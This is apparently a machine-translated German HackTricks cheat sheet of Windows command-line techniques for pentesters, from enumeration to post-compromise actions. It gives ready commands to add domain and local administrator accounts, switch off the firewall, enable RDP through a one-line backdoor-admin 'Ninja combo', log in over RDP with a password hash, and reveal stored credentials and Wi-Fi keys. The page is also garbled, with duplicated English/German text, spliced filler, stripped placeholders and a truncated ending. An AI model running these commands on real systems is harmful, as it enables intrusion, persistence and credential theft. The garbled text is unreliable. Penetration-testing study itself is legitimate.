# Basic Win CMD for Pentesters ## Grundlegende Win CMD für Pentester
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! * Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
### Systeminformationen #### Versions- und Patchinformationen ```bash wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information wmic computersystem LIST full #Get PC info wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches wmic qfe list brief #Updates hostname DRIVERQUERY #3rd party driver vulnerable? ``` #### Umgebung *** #### Basic CMD for Pentesters #### Grundlegende CMD-Befehle für Pentester *** #### CMD Basics #### CMD-Grundlagen CMD (Command Prompt) is a command-line interpreter for Windows operating systems. It allows users to interact with the operating system by executing commands. As a pentester, having a good understanding of CMD commands is essential for navigating and interacting with the target system. CMD (Command Prompt) ist ein Befehlszeileninterpreter für Windows-Betriebssysteme. Es ermöglicht Benutzern, mit dem Betriebssystem zu interagieren, indem sie Befehle ausführen. Als Pentester ist es wichtig, ein gutes Verständnis für CMD-Befehle zu haben, um sich im Zielsystem zu bewegen und damit zu interagieren. *** #### Basic CMD Commands #### Grundlegende CMD-Befehle Here are some basic CMD commands that every pentester should know: Hier sind einige grundlegende CMD-Befehle, die jeder Pentester kennen sollte: **1. `dir`** **1. `dir`** The `dir` command is used to list the files and directories in the current directory. Der Befehl `dir` wird verwendet, um die Dateien und Verzeichnisse im aktuellen Verzeichnis aufzulisten. **2. `cd`** **2. `cd`** The `cd` command is used to change the current directory. Der Befehl `cd` wird verwendet, um das aktuelle Verzeichnis zu ändern. * To change to a specific directory, use `cd `. * Um zu einem bestimmten Verzeichnis zu wechseln, verwenden Sie `cd `. * To go up one directory level, use `cd ..`. * Um eine Verzeichnisebene nach oben zu gehen, verwenden Sie `cd ..`. * To go to the root directory, use `cd \` or `cd /`. * Um zum Stammverzeichnis zu gelangen, verwenden Sie `cd \` oder `cd /`. **3. `mkdir`** **3. `mkdir`** The `mkdir` command is used to create a new directory. Der Befehl `mkdir` wird verwendet, um ein neues Verzeichnis zu erstellen. * To create a new directory, use `mkdir `. * Um ein neues Verzeichnis zu erstellen, verwenden Sie `mkdir `. **4. `del`** **4. `del`** The `del` command is used to delete files. Der Befehl `del` wird verwendet, um Dateien zu löschen. * To delete a file, use `del `. * Um eine Datei zu löschen, verwenden Sie `del `. **5. `rmdir`** **5. `rmdir`** The `rmdir` command is used to delete directories. Der Befehl `rmdir` wird verwendet, um Verzeichnisse zu löschen. * To delete an empty directory, use `rmdir `. * Um ein leeres Verzeichnis zu löschen, verwenden Sie `rmdir `. * To delete a directory and its contents, use `rmdir /s `. * Um ein Verzeichnis und dessen Inhalt zu löschen, verwenden Sie `rmdir /s `. **6. `copy`** **6. `copy`** The `copy` command is used to copy files. Der Befehl `copy` wird verwendet, um Dateien zu kopieren. * To copy a file, use `copy `. * Um eine Datei zu kopieren, verwenden Sie `copy `. **7. `move`** **7. `move`** The `move` command is used to move files. Der Befehl `move` wird verwendet, um Dateien zu verschieben. * To move a file, use `move `. * Um eine Datei zu verschieben, verwenden Sie `move `. **8. `ren`** **8. `ren`** The `ren` command is used to rename files. Der Befehl `ren` wird verwendet, um Dateien umzubenennen. * To rename a file, use `ren `. * Um eine Datei umzubenennen, verwenden Sie `ren `. *** #### Conclusion #### Fazit These are just a few basic CMD commands that can be useful for pentesters. By mastering these commands, you will be able to navigate and interact with the target system more effectively. Dies sind nur einige grundlegende CMD-Befehle, die für Pentester nützlich sein können. Indem Sie diese Befehle beherrschen, können Sie sich effektiver im Zielsystem bewegen und damit interagieren. ```bash set #List all environment variables ``` Einige Umgebungsvariablen, die hervorgehoben werden sollten: * **COMPUTERNAME**: Name des Computers * **TEMP/TMP:** Temporärer Ordner * **USERNAME:** Ihr Benutzername * **HOMEPATH/USERPROFILE:** Benutzerverzeichnis * **windir:** C:\Windows * **OS**: Windows-Betriebssystem * **LOGONSERVER**: Name des Domänencontrollers * **USERDNSDOMAIN**: Domänenname für die Verwendung mit DNS * **USERDOMAIN**: Name der Domäne ```bash nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC ``` #### Eingebundene Laufwerke In Windows können Sie mithilfe des Befehls `mountvol` Informationen über die eingebundenen Laufwerke erhalten. Dieser Befehl zeigt Ihnen die Liste der Laufwerksbuchstaben und der zugehörigen Volumes an. ```plaintext C:\> mountvol \\?\Volume{d3e5e6f7-8a9b-cdef-0123-456789abcdef}\ C:\ \\?\Volume{a1b2c3d4-5e6f-7a8b-9c0d-1e2f3g4h5i6j}\ D:\ ``` Sie können auch den Befehl `wmic logicaldisk` verwenden, um Informationen über die eingebundenen Laufwerke zu erhalten. Dieser Befehl zeigt Ihnen den Laufwerksbuchstaben, den Gerätepfad und den Dateisystemtyp an. ```plaintext C:\> wmic logicaldisk get caption, deviceid, filesystem Caption DeviceID FileSystem C: C: NTFS D: D: NTFS ``` Diese Informationen können Ihnen bei der Identifizierung von Laufwerken und Volumes auf einem Windows-System helfen. ```bash (wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul) wmic logicaldisk get caption,description,providername ``` #### [Defender](authentication-credentials-uac-and-efs/#defender) Windows Defender ist eine integrierte Antivirensoftware von Microsoft, die auf Windows-Betriebssystemen läuft. Es bietet Schutz vor Viren, Malware und anderen Bedrohungen. #### Papierkorb ```bash dir C:\$Recycle.Bin /s /b ``` #### Prozesse, Dienste & Software **Prozesse** Um die laufenden Prozesse auf einem Windows-System anzuzeigen, kann der Befehl `tasklist` verwendet werden. Dieser Befehl listet alle Prozesse auf, die auf dem System ausgeführt werden, zusammen mit Informationen wie Prozess-ID, Speichernutzung und Prozessname. Um einen Prozess zu beenden, kann der Befehl `taskkill` verwendet werden. Dieser Befehl ermöglicht es, einen Prozess anhand seiner Prozess-ID oder seines Namens zu beenden. **Dienste** Um die laufenden Dienste auf einem Windows-System anzuzeigen, kann der Befehl `net start` verwendet werden. Dieser Befehl listet alle aktiven Dienste auf, zusammen mit ihrem Status und ihrem Namen. Um einen Dienst zu starten oder zu stoppen, kann der Befehl `net start` oder `net stop` verwendet werden, gefolgt vom Namen des Dienstes. **Software** Um die installierte Software auf einem Windows-System anzuzeigen, kann der Befehl `wmic product get name` verwendet werden. Dieser Befehl listet alle installierten Programme auf, zusammen mit ihren Namen. Um eine bestimmte Software zu deinstallieren, kann der Befehl `wmic product where name="Softwarename" call uninstall` verwendet werden. Dieser Befehl deinstalliert die angegebene Software. ```bash schtasks /query /fo LIST /v #Verbose out of scheduled tasks schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM tasklist /V #List processes tasklist /SVC #links processes to started services net start #Windows Services started wmic service list brief #List services sc query #List of services dir /a "C:\Program Files" #Installed software dir /a "C:\Program Files (x86)" #Installed software reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software ``` ### Domäneninformationen #### Whois Die Whois-Abfrage ermöglicht es Ihnen, Informationen über eine bestimmte Domäne abzurufen. Sie können den Registrar, den Registrierungsstatus, das Erstellungsdatum, das Ablaufdatum und andere relevante Informationen über die Domäne erfahren. ```plaintext whois domain.com ``` #### DNS-Abfrage Mit einer DNS-Abfrage können Sie Informationen über die DNS-Einträge einer Domäne abrufen. Sie können die IP-Adresse, den Mailserver, den Nameserver und andere DNS-Einträge einer Domäne ermitteln. ```plaintext nslookup domain.com ``` #### Zone Transfer Die Zone Transfer-Methode ermöglicht es Ihnen, die gesamte DNS-Zonendatei einer Domäne abzurufen. Dies kann Ihnen helfen, Informationen über die Subdomänen, IP-Adressen und andere DNS-Einträge einer Domäne zu erhalten. ```plaintext nslookup > server > ls -d domain.com ``` #### Reverse DNS-Lookup Mit einem Reverse DNS-Lookup können Sie die Domäne anhand einer IP-Adresse ermitteln. Dies kann nützlich sein, um Informationen über den Eigentümer einer bestimmten IP-Adresse zu erhalten. ```plaintext nslookup ``` #### Subdomänen-Suche Die Suche nach Subdomänen ermöglicht es Ihnen, alle Subdomänen einer bestimmten Domäne zu ermitteln. Dies kann Ihnen helfen, potenzielle Angriffsvektoren zu identifizieren. ```plaintext dnsrecon -d domain.com ``` #### Zonentransfer-Prüfung Die Zonentransfer-Prüfung ermöglicht es Ihnen, zu überprüfen, ob eine Domäne anfällig für Zonentransfer-Angriffe ist. Ein erfolgreicher Zonentransfer-Angriff kann es einem Angreifer ermöglichen, die gesamte DNS-Zonendatei einer Domäne abzurufen. ```plaintext dnsrecon -d domain.com -t axfr ``` #### MX-Record-Prüfung Die MX-Record-Prüfung ermöglicht es Ihnen, den Mailserver einer Domäne zu ermitteln. Dies kann Ihnen helfen, potenzielle Schwachstellen im E-Mail-System einer Domäne zu identifizieren. ```plaintext dig domain.com MX ``` ```bash # Generic AD info echo %USERDOMAIN% #Get domain name echo %USERDNSDOMAIN% #Get domain name echo %logonserver% #Get name of the domain controller set logonserver #Get name of the domain controller set log #Get name of the domain controller gpresult /V # Get current policy applied wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers # Users dsquery user #Get all users net user /domain #List all users of the domain net user /domain #Get information about that user net accounts /domain #Password and lockout policy wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts. # Groups net group /domain #List of domain groups net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here) net group "Domain Admins" /domain #List users with domain admin privileges net group "domain computers" /domain #List of PCs connected to the domain net group "Domain Controllers" /domain #List PC accounts of domains controllers wmic group list /format:list # Information about all local groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group # Computers dsquery computer #Get all computers net view /domain #Lis of PCs of the domain nltest /dclist: #List domain controllers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers # Trust relations nltest /domain_trusts #Mapping of the trust relationships # Get all objects inside an OU dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL" ``` #### Protokolle und Ereignisse Die Überwachung von Protokollen und Ereignissen ist ein wichtiger Aspekt der Sicherheit und ermöglicht es Ihnen, potenzielle Angriffe oder Sicherheitsverletzungen zu erkennen. In Windows gibt es verschiedene Arten von Protokollen und Ereignissen, die überwacht werden können, um die Sicherheit Ihres Systems zu verbessern. **Windows-Ereignisprotokolle** Windows speichert verschiedene Arten von Ereignissen in Protokolldateien, die als Windows-Ereignisprotokolle bezeichnet werden. Diese Protokolle enthalten Informationen über Systemereignisse, Anwendungsereignisse, Sicherheitsereignisse und vieles mehr. Sie können auf diese Protokolle zugreifen, um nach verdächtigen Aktivitäten zu suchen und potenzielle Sicherheitsprobleme zu identifizieren. **Ereignisanzeige** Die Ereignisanzeige ist ein Windows-Tool, mit dem Sie auf die Ereignisprotokolle zugreifen und diese anzeigen können. Sie können die Ereignisanzeige öffnen, indem Sie "eventvwr.msc" in die Befehlszeile eingeben. In der Ereignisanzeige können Sie die verschiedenen Ereignisprotokolle durchsuchen, nach bestimmten Ereignissen filtern und detaillierte Informationen zu einzelnen Ereignissen anzeigen. **Überwachung von Ereignissen** Die Überwachung von Ereignissen kann Ihnen helfen, verdächtige Aktivitäten zu erkennen und potenzielle Sicherheitsverletzungen zu identifizieren. Sie können Ereignisprotokolle überwachen, um nach bestimmten Ereignissen oder Aktivitäten zu suchen, die auf eine Kompromittierung hinweisen könnten. Dazu gehören beispielsweise fehlgeschlagene Anmeldeversuche, ungewöhnliche Netzwerkaktivitäten oder verdächtige Dateiänderungen. **Ereignisabonnements** In Windows können Sie Ereignisabonnements erstellen, um bestimmte Ereignisse zu überwachen und Benachrichtigungen zu erhalten, wenn diese Ereignisse auftreten. Sie können beispielsweise ein Ereignisabonnement erstellen, um benachrichtigt zu werden, wenn ein fehlgeschlagener Anmeldeversuch erkannt wird. Dies kann Ihnen helfen, schnell auf potenzielle Sicherheitsverletzungen zu reagieren und geeignete Maßnahmen zu ergreifen. **Protokollierungseinstellungen** Es ist wichtig, die Protokollierungseinstellungen in Windows zu überprüfen und anzupassen, um sicherzustellen, dass relevante Ereignisse erfasst werden. Sie können die Protokollierungseinstellungen über die Gruppenrichtlinienverwaltung oder die Registrierung ändern. Stellen Sie sicher, dass die Protokollierung aktiviert ist und dass die erforderlichen Ereignisse erfasst werden, um die Sicherheit Ihres Systems zu verbessern. **Protokollanalyse** Die Analyse von Protokollen kann Ihnen helfen, verdächtige Aktivitäten zu erkennen und potenzielle Sicherheitsverletzungen zu identifizieren. Sie können Protokolle auf Anomalien, ungewöhnliche Muster oder verdächtige Ereignisse überprüfen. Es gibt verschiedene Tools und Techniken, die Ihnen bei der Analyse von Protokollen helfen können, einschließlich SIEM (Security Information and Event Management) und Log-Analyse-Tools. **Zusammenfassung** Die Überwachung von Protokollen und Ereignissen ist ein wichtiger Bestandteil der Sicherheit in Windows. Durch die Überwachung von Ereignisprotokollen, die Erstellung von Ereignisabonnements und die Analyse von Protokollen können Sie verdächtige Aktivitäten erkennen und potenzielle Sicherheitsverletzungen identifizieren. Stellen Sie sicher, dass die Protokollierungseinstellungen angemessen konfiguriert sind, um relevante Ereignisse zu erfassen und die Sicherheit Ihres Systems zu verbessern. ```bash #Make a security query using another credentials wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 ``` **List all users** ```plaintext net user ``` **Get detailed information about a specific user** ```plaintext net user ``` **Create a new user** ```plaintext net user /add ``` **Delete a user** ```plaintext net user /delete ``` **Change a user's password** ```plaintext net user ``` #### Groups **List all groups** ```plaintext net localgroup ``` **Get detailed information about a specific group** ```plaintext net localgroup ``` **Add a user to a group** ```plaintext net localgroup /add ``` **Remove a user from a group** ```plaintext net localgroup /delete ``` **Create a new group** ```plaintext net localgroup /add ``` **Delete a group** ```plaintext net localgroup /delete ``` **Add a group to another group** ```plaintext net localgroup /add ``` **Remove a group from another group** ```plaintext net localgroup /delete ``` ```bash #Me whoami /all #All info about me, take a look at the enabled tokens whoami /priv #Show only privileges # Local users net users #All users dir /b /ad "C:\Users" net user %username% #Info about a user (me) net accounts #Information about password requirements wmic USERACCOUNT Get Domain,Name,Sid net user /add [username] [password] #Create user # Other users looged qwinsta #Anyone else logged in? #Lauch new cmd.exe with new creds (to impersonate in network) runas /netonly /user\ "cmd.exe" ::The password will be prompted #Check current logon session as administrator using logonsessions from sysinternals logonsessions.exe logonsessions64.exe ``` #### Gruppen Gruppen sind eine Möglichkeit, Benutzer in Windows zu organisieren und ihnen bestimmte Berechtigungen zuzuweisen. Hier sind einige grundlegende Befehle, um mit Gruppen in der Befehlszeile umzugehen: **Gruppen anzeigen** Um alle Gruppen auf einem Windows-System anzuzeigen, verwenden Sie den Befehl `net localgroup`: ```plaintext net localgroup ``` **Gruppenmitglieder anzeigen** Um die Mitglieder einer bestimmten Gruppe anzuzeigen, verwenden Sie den Befehl `net localgroup` gefolgt vom Gruppennamen: ```plaintext net localgroup ``` **Benutzer zu einer Gruppe hinzufügen** Um einen Benutzer zu einer Gruppe hinzuzufügen, verwenden Sie den Befehl `net localgroup` gefolgt von dem Gruppennamen und dem Benutzernamen: ```plaintext net localgroup /add ``` **Benutzer aus einer Gruppe entfernen** Um einen Benutzer aus einer Gruppe zu entfernen, verwenden Sie den Befehl `net localgroup` gefolgt von dem Gruppennamen und dem Benutzernamen: ```plaintext net localgroup /delete ``` **Neue Gruppe erstellen** Um eine neue Gruppe zu erstellen, verwenden Sie den Befehl `net localgroup` gefolgt von dem Gruppennamen und der Option `/add`: ```plaintext net localgroup /add ``` **Gruppe löschen** Um eine Gruppe zu löschen, verwenden Sie den Befehl `net localgroup` gefolgt von dem Gruppennamen und der Option `/delete`: ```plaintext net localgroup /delete ``` Diese Befehle helfen Ihnen dabei, Gruppen in Windows zu verwalten und die Sicherheit Ihres Systems zu verbessern. ```bash #Local net localgroup #All available groups net localgroup Administrators #Info about a group (admins) net localgroup administrators [username] /add #Add user to administrators #Domain net group /domain #Info about domain groups net group /domain #Users that belongs to the group ``` To list active sessions in Windows, you can use the `query session` command. This command will display information about each active session, including the session ID, username, and session state. ```plaintext C:\> query session ``` This will output a table with the session details, such as: ```plaintext SESSIONNAME USERNAME ID STATE TYPE DEVICE services 0 Disc console Administrator 1 Active user1 2 Disc user2 3 Disc ``` #### Sitzungen auflisten Um aktive Sitzungen in Windows aufzulisten, können Sie den Befehl `query session` verwenden. Dieser Befehl zeigt Informationen zu jeder aktiven Sitzung an, einschließlich der Sitzungs-ID, des Benutzernamens und des Sitzungszustands. ```plaintext C:\> query session ``` Dies gibt eine Tabelle mit den Sitzungsdetails aus, wie zum Beispiel: ```plaintext SESSIONNAME USERNAME ID STATE TYPE DEVICE services 0 Disc console Administrator 1 Active user1 2 Disc user2 3 Disc ``` ``` qwinsta klist sessions ``` #### Passwortrichtlinie Eine Passwortrichtlinie ist eine Reihe von Regeln und Anforderungen, die festlegen, wie Passwörter erstellt und verwaltet werden sollten. Eine starke Passwortrichtlinie ist entscheidend für die Sicherheit eines Systems, da schwache Passwörter ein leichtes Ziel für Angreifer darstellen können. Hier sind einige bewährte Praktiken für eine effektive Passwortrichtlinie: * **Passwortlänge**: Legen Sie eine Mindestlänge für Passwörter fest, um sicherzustellen, dass sie ausreichend komplex sind. Eine Länge von mindestens 8 Zeichen wird empfohlen. * **Komplexität**: Verlangen Sie, dass Passwörter eine Kombination aus Groß- und Kleinbuchstaben, Zahlen und Sonderzeichen enthalten, um die Sicherheit zu erhöhen. * **Passwortablauf**: Legen Sie eine maximale Gültigkeitsdauer für Passwörter fest und erzwingen Sie deren Änderung in regelmäßigen Abständen. Dies minimiert das Risiko von Passwortlecks und stellt sicher, dass Benutzer regelmäßig neue Passwörter verwenden. * **Passworthistorie**: Verbieten Sie die Verwendung von Passwörtern, die bereits verwendet wurden, um zu verhindern, dass Benutzer alte Passwörter wiederverwenden. * **Sperrzeit**: Legen Sie eine Sperrzeit fest, nach der ein Konto gesperrt wird, wenn eine bestimmte Anzahl von fehlgeschlagenen Anmeldeversuchen erfolgt. Dies schützt vor Brute-Force-Angriffen. * **Benachrichtigungen**: Benachrichtigen Sie Benutzer rechtzeitig über bevorstehende Passwortänderungen und informieren Sie sie über bewährte Praktiken zur Erstellung sicherer Passwörter. Eine gut durchdachte Passwortrichtlinie ist ein wichtiger Schritt zur Stärkung der Sicherheit eines Systems und zur Verhinderung von unbefugtem Zugriff. Es ist wichtig, dass Benutzer sich der Richtlinie bewusst sind und diese befolgen, um die Wirksamkeit zu gewährleisten. ``` net accounts ``` #### Anmeldeinformationen Credentials are the usernames and passwords that are used to authenticate and authorize access to various systems and services. In the context of hacking, obtaining credentials is often a crucial step in gaining unauthorized access to a target system. Anmeldeinformationen sind Benutzernamen und Passwörter, die zur Authentifizierung und Autorisierung des Zugriffs auf verschiedene Systeme und Dienste verwendet werden. Im Zusammenhang mit Hacking ist das Erlangen von Anmeldeinformationen oft ein entscheidender Schritt, um unbefugten Zugriff auf ein Zielsystem zu erlangen. ```bash cmdkey /list #List credential vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access ``` #### Persistenz mit Benutzern In diesem Abschnitt werden verschiedene Techniken zur Erreichung von Persistenz mit Benutzern auf einem Windows-System beschrieben. Diese Techniken ermöglichen es einem Angreifer, den Zugriff auf das System aufrechtzuerhalten, selbst nach einem Neustart oder einer Abmeldung des Benutzers. **1. Benutzerprofilordner** Ein häufig genutzter Ansatz besteht darin, eine bösartige Datei oder einen bösartigen Skript im Benutzerprofilordner des Zielsystems abzulegen. Dieser Ordner enthält wichtige Konfigurationsdateien und Einstellungen für den Benutzer. Durch das Platzieren einer bösartigen Datei in diesem Ordner kann der Angreifer sicherstellen, dass sie bei jedem Anmelden des Benutzers automatisch ausgeführt wird. **2. Registrierungseinträge** Die Windows-Registrierung ist eine zentrale Datenbank, die wichtige Informationen und Einstellungen für das Betriebssystem enthält. Ein Angreifer kann bösartige Registrierungseinträge erstellen, um eine Persistenz mit Benutzern zu erreichen. Diese Einträge können so konfiguriert werden, dass sie bei jedem Systemstart oder bei der Anmeldung eines bestimmten Benutzers automatisch ausgeführt werden. **3. Geplante Aufgaben** Die Windows-Aufgabenplanung ermöglicht es Benutzern, Aufgaben zu planen, die zu einem bestimmten Zeitpunkt oder bei bestimmten Ereignissen ausgeführt werden sollen. Ein Angreifer kann eine bösartige geplante Aufgabe erstellen, um eine Persistenz mit Benutzern zu erreichen. Diese Aufgabe kann so konfiguriert werden, dass sie regelmäßig ausgeführt wird, um den Zugriff auf das System aufrechtzuerhalten. **4. Dienste** Windows-Dienste sind Programme, die im Hintergrund ausgeführt werden und bestimmte Funktionen bereitstellen. Ein Angreifer kann einen bösartigen Dienst erstellen, um eine Persistenz mit Benutzern zu erreichen. Dieser Dienst kann so konfiguriert werden, dass er bei jedem Systemstart automatisch gestartet wird und somit den Zugriff auf das System aufrechterhält. **5. Anmeldeobjekte** Windows bietet verschiedene Anmeldeobjekte, die beim Anmelden eines Benutzers automatisch ausgeführt werden. Ein Angreifer kann eine bösartige Datei oder ein bösartiges Skript in einem dieser Anmeldeobjekte platzieren, um eine Persistenz mit Benutzern zu erreichen. Dadurch wird sichergestellt, dass die bösartige Datei bei jedem Anmelden des Benutzers automatisch ausgeführt wird. Es ist wichtig zu beachten, dass diese Techniken von Angreifern missbraucht werden können, um unbefugten Zugriff auf Systeme zu erlangen. Es ist daher entscheidend, dass Benutzer und Administratoren geeignete Sicherheitsmaßnahmen ergreifen, um solche Angriffe zu verhindern. ```bash # Add domain user and put them in Domain Admins group net user username password /ADD /DOMAIN net group "Domain Admins" username /ADD /DOMAIN # Add local user and put them local Administrators group net user username password /ADD net localgroup Administrators username /ADD # Add user to insteresting groups: net localgroup "Remote Desktop Users" UserLoginName /add net localgroup "Debugger users" UserLoginName /add net localgroup "Power users" UserLoginName /add ``` ### Netzwerk #### Schnittstellen, Routen, Ports, Hosts und DNS-Cache ```bash ipconfig /all #Info about interfaces route print #Print available routes arp -a #Know hosts netstat -ano #Opened ports? type C:\WINDOWS\System32\drivers\etc\hosts ipconfig /displaydns | findstr "Record" | findstr "Name Host" ``` #### Firewall Eine Firewall ist eine Sicherheitsvorrichtung, die den Datenverkehr zwischen einem internen Netzwerk und einem externen Netzwerk überwacht und kontrolliert. Sie dient dazu, unerwünschten Datenverkehr zu blockieren und das interne Netzwerk vor potenziellen Angriffen zu schützen. Firewalls können auf verschiedenen Ebenen arbeiten, einschließlich der Netzwerk-, Transport- und Anwendungsebene. Sie können den Datenverkehr basierend auf verschiedenen Kriterien wie IP-Adresse, Portnummer und Protokolltyp filtern. Es gibt verschiedene Arten von Firewalls, darunter Netzwerk-Firewalls, Host-Firewalls und persönliche Firewalls. Netzwerk-Firewalls werden normalerweise auf Netzwerkgeräten wie Routern und Firewalls installiert und schützen das gesamte Netzwerk. Host-Firewalls werden auf einzelnen Computern oder Servern installiert und schützen diese vor Angriffen. Persönliche Firewalls sind Softwareanwendungen, die auf einzelnen Computern installiert sind und den Datenverkehr für diesen spezifischen Computer überwachen und kontrollieren. Es ist wichtig, eine Firewall richtig zu konfigurieren und regelmäßig zu aktualisieren, um sicherzustellen, dass sie effektiv vor Angriffen schützt. Eine schlecht konfigurierte Firewall kann Sicherheitslücken aufweisen und Angreifern den Zugriff auf das interne Netzwerk ermöglichen. Firewalls sind ein wichtiger Bestandteil der Netzwerksicherheit und sollten in jedem Netzwerk implementiert werden, um die Sicherheit zu erhöhen und potenzielle Angriffe zu verhindern. ```bash netsh firewall show state # FW info, open ports netsh advfirewall firewall show rule name=all netsh firewall show config # FW info Netsh Advfirewall show allprofiles NetSh Advfirewall set allprofiles state off #Turn Off NetSh Advfirewall set allprofiles state on #Trun On netsh firewall set opmode disable #Turn Off #How to open ports netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138 netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139 netsh firewall add portopening TCP 3389 "Remote Desktop" #Enable Remote Desktop reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh firewall add portopening TCP 3389 "Remote Desktop" ::netsh firewall set service remotedesktop enable #I found that this line is not needed ::sc config TermService start= auto #I found that this line is not needed ::net start Termservice #I found that this line is not needed #Enable Remote Desktop with wmic wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1" ##or wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1" #Enable Remote assistance: reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f netsh firewall set service remoteadmin enable #Ninja combo (New Admin User, RDP + Rassistance + Firewall allow) net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable ::Connect to RDP (using hash or password) xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49 xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49 ``` #### Freigaben **Überblick** Freigaben sind Verzeichnisse oder Dateien, die von einem Windows-Computer für andere Benutzer oder Geräte im Netzwerk zugänglich gemacht werden. In diesem Abschnitt werden einige grundlegende Befehle vorgestellt, die Pentester verwenden können, um Informationen über Freigaben zu sammeln und auf diese zuzugreifen. **Befehle** * `net share`: Zeigt eine Liste der Freigaben auf dem aktuellen System an. * `net view \\[IP]`: Zeigt eine Liste der Freigaben auf einem Remote-System an. * `net use \\[IP]\[Freigabe] [Passwort] /user:[Benutzername]`: Verbindet sich mit einer Freigabe auf einem Remote-System. * `net use`: Zeigt eine Liste der aktuell verbundenen Freigaben an. * `net use [Laufwerksbuchstabe]: /delete`: Trennt eine Verbindung zu einer Freigabe. **Beispiele** * `net share`: Zeigt eine Liste der Freigaben auf dem aktuellen System an. * `net view \\192.168.0.100`: Zeigt eine Liste der Freigaben auf dem Remote-System mit der IP-Adresse 192.168.0.100 an. * `net use \\192.168.0.100\freigabe Passwort123 /user:admin`: Verbindet sich mit der Freigabe "freigabe" auf dem Remote-System mit der IP-Adresse 192.168.0.100 unter Verwendung des Benutzernamens "admin" und des Passworts "Passwort123". * `net use`: Zeigt eine Liste der aktuell verbundenen Freigaben an. * `net use Z: /delete`: Trennt die Verbindung zum Laufwerk Z, das mit einer Freigabe verbunden ist. ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` #### Wifi **Windows** **Get the list of available wifi networks** ```plaintext netsh wlan show networks ``` **Connect to a wifi network** ```plaintext netsh wlan connect name="wifi_name" ssid="wifi_ssid" ``` **Disconnect from a wifi network** ```plaintext netsh wlan disconnect ``` **Get the wifi network password** ```plaintext netsh wlan show profile name="wifi_name" key=clear ``` **Enable wifi interface** ```plaintext netsh interface set interface name="Wi-Fi" admin=enable ``` **Disable wifi interface** ```plaintext netsh interface set interface name="Wi-Fi" admin=disable ``` **Linux** **Get the list of available wifi networks** ```plaintext nmcli device wifi list ``` **Connect to a wifi network** ```plaintext nmcli device wifi connect ssid "wifi_ssid" password "wifi_password" ``` **Disconnect from a wifi network** ```plaintext nmcli device disconnect wlan0 ``` **Enable wifi interface** ```plaintext nmcli radio wifi on ``` **Disable wifi interface** ```plaintext nmcli radio wifi off ``` **Mac** **Get the list of available wifi networks** ```plaintext 